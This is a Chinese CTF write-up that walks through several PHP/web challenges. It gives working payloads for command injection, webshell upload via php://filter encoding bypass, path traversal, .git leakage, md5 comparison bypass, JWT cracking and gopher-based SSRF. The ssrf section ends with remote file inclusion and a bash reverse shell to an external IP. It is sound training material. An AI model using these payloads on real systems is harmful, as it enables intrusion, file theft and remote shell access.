web

webshell

放了hint:20211025232429.png

直接访问看一下,图片上叫读10月25日的日志文件,扫了下目录,有个文件提示是thinkphp的,传个/?s=1,看到thinkphp3.2.3版本image-20211117164341130

直接读日志文件Application/Runtime/Logs/Home/21_10_25.log

image-20211117164442812

有个php文件再去访问,是个登录框,其他什么都没有,弱密码爆破一下,爆出来密码hack。

登录后台直接输入命令就拿到了

image-20211117175514623

mima

看起来要登录后台,账号盲猜admin,密码下面有个邮箱,直接当密码登录就行了。

rce

post传参,直接构造闭合然后命令执行就可以了

payload:

1=";system('ls /');"
1=";system('cat /flag.txt');"

也可以直接传${system('ls /')}一样的。

upload

网上搜file_put_contents死亡杂糅,payload一大堆。

直接url二次编码绕过,file_put_contents的时候应该可以将url再次解码。直接将部分关键字二次编码就可以了,编码全部的话,有些字符是不能进行二次编码的。

payload:

file=php://filter/convert.%2562ase64-decode/resource=1.php
contents=abPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7Pz4=

image-20211117180939882

phpbasics

打开环境后点提交,进入原码页面,简单审计一下

if (($_GET['user']===$_GET['password'])||(md5($_GET['user'])!=md5($_GET['password']))) die();

这个直接用数组绕过就可以了

parse_url 用来解析 URL,返回其组成部分,对严重不合格的 URL,parse_url() 可能会返回 FALSE,$request_url用来拼接路径,但是后面拼接了个path,可以用目录穿越去绕。strstr限制了包含的内容里面不能有flag字符。最后会把包含的内容和拼接的东西输出。因为不知道具体路径,挨着试可以看到回显

?submit=提交&site=http://www.cduestc.cn:50015&user[]=1&password[]=2&path=../../../../

image-20211112221550652

用到parse_url特性,传个伪协议读文件就可以了,因为内容不能有flag,用base加密就好了,盲猜根目录下的flag。

?submit=提交&site=php://filter/read=convert.base64-encode/resource=&user[]=1&password[]=2&path=../../../../flag

image-20211112224604626

base64解码就得到 flag{6f1be467900cf5ae57ea2f34e3536635}

Who is me

f12打开看到有个run.py,访问后告诉了是flask框架,提醒了git,应该是git泄露。用git_extract跑一下

python2 git_extract.py http://www.cduestc.cn:50004/.git/

得到一个文件夹,里面就是他所有的文件了,里面有个whereflag.php,和一个flag.php(没什么用)

//whereflag.php
<?php
include 'flag.php';
if(isset($_GET["a"])){
  $a = $_GET["a"];
  if($a == md5($a)){
        echo $flag;
  }
}

这个用a=0e215962017就可以绕过了,

根据文件夹的目录,进入到环境的http://www.cduestc.cn:50004/FLag_iS_In_Here/whereflag.php 这个目录下面去传参就得到了。

image-20211113013600609

flag{0AiGSGvRZF9ZdVNSeYKpGCjVX0VoEhhu}

characteristic

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
class test
{
    static function cat(){
        $arr = $_POST['ctf'];
        if(is_array($arr)){
            $arr();
        }
    }
}

class Flag
{
    function getFlag(){
    include("flag.php");
        echo $flag;
    }
}

if(preg_match("/:/i", $_POST['kc'])){
    die("私有方法!!!");
}

$allow = array();
$password=($_POST['password']!=null)?md5($_POST['password']):die();
for($i=0;$i<strlen($password);$i++){
    array_push($allow, substr($password, $i));
}

if(in_array(intval($_POST['kc']), $allow)){
    call_user_func($_POST['kc']);
    }

?> 
if(preg_match("/:/i", $_POST['kc'])){
    die("私有方法!!!");
}

这个是为了防止直接调用test类里面的静态方法,不过不影响,传数组就行,后面利用call_user_func。之前都不知道,本地试了试,发现get和post传上去的都是字符,那字符肯定不可能是空,md5加密后经过substr放到allow数组里面,这个intval如果里面数组为空返回0,不为空返回1。在利用in_array函数的松散匹配直接绕过,最后调用回调函数。再看test里面$arr()可以实现调用一个方法。那答案显而易见了。

payload

kc[]=test&ks[]=cat&ctf[]=Flag&ctf[]=getFlag&password=a或者
kc[]=Flag&kc[]=getFlag&password=a

image-20211117180711688

ssrf

提示以管理员访问,有个管理员登录,试了试弱密码没什么用,抓个包发现有jwt。爆破拿到密匙12345。然后以管理员身份登录。先看看phpinfo,没什么发现,登录控制台看到url栏中有明显的ssrf,试了一下百度

image-20211116112812719

那注入点找到了,直接在控制台输入命令发现没用,读了读console原码。根据常识可以知道console在/var/www/html/目录下面,用file协议即可读出来。

?php
error_reporting(0);
require("functions.php");
$com = $_POST['com'];
// if(ssrf_check() && Limit_command($comment)){
echo $com;
if(ssrf_check()){
    if(isset($_POST['com'])){
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\(|\{|\}|<|

输入的命令过滤了flag和括号,只能考虑无括号的了,想到了用 inlucde$_POST[1] ,然后用gopher构造一个post包就好了,还是先读一下etc/passwd。

gopher://127.0.0.1:80/_POST%2520%252Fconsole.php%2520HTTP%252F1.1%250D%250AHost%253A%2520www.cduestc.cn%253A50017%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252035%250D%250A%250D%250Acom%253Dinclude%2524_POST%255B0%255D%253B%25260%253D%252Fetc%252Fpasswd

image-20211116121943553

没有问题,然后直接包含命令发现并没有用,想到远程文件包含,先看看phpinfo

image-20211117185106209

直接远程文件包含就好了

com=include$_POST[1]&1=http://139.196.123.120/1.php
1.php
<?php system('ls /');?>

但发现列出来的是自己vps上面 的文件,把1.php改一下就好了

<?php echo "<?php system('bash -c \"bash -i >& /dev/tcp/139.196.123.120/7777 0>&1\"')?>"?>

监听成功,读到flag。